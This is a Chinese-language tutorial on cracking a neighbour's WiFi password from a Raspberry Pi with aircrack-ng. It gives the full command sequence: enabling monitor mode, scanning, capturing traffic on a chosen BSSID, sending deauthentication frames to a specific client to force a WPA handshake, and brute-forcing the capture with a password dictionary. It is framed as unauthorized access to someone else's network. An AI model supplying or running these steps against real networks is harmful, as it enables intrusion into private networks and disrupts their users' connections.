使用Linux破解邻居家的WIFI密码

一、准备工作

1、Linux系统主机一台

我这里用的是树莓派3B+,安装了Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-1054-raspi2 aarch64)

2、支持监听模式的无线网卡

我这里用的是小米的无线网卡

微信截图_20200210154329.png

二、开始

1、SSH连上主机

微信截图_20200210154601.png

2、通过iwconfig查看无线网卡设备信息

微信截图_20200210154856.png

PS:这里共有两个无线网卡,wlan0是树莓派板载的网卡,wlan1是小米无线网卡。

如果命令无法执行就安装一下wireless-tools

sudo apt-get install wireless-tools

3、安装aircrack-ng

sudo apt-get install aircrack-ng

4、将网卡为监听模式

sudo airmon-ng start wlan1

微信截图_20200210155540.png

5、扫描附近的WIFI

sudo airodump-ng wlan1mon

微信截图_20200210155658.png

6、选定一个路由器,并监听其流量

sudo airodump-ng -w ChinaNet-p32M -c 6 --bssid AC:9C:E4:BE:EF:71 wlan1mon

微信截图_20200210160052.png

7、新开一个SSH连接,并选定一个活跃的客户端,进行攻击

sudo aireplay-ng -0 50 -a AC:9C:E4:BE:EF:71 -c 88:F8:72:AB:93:1A wlan1mon

微信截图_20200210160425.png

8、查看原来的窗口,看到右上角出现:WPA handshake: AC:9C:E4:BE:EF:71

表示客户端已与我们的无线网卡握手,并将加密后的无线密码发给了我们

微信截图_20200210160614.png

9、对抓取到的cap包进行暴力破解

可以看到,共抓到以下几个文件,我们这里只需要cap包

微信截图_20200210160839.png

这里有一份WIFI弱口令字典,使用以下命令进行密码爆破

sudo aircrack-ng -w dict.txt -b AC:9C:E4:BE:EF:71 ChinaNet-p32M-02.cap

如果没有找到密码,就需要另外的密码字典,可以到github上面找找。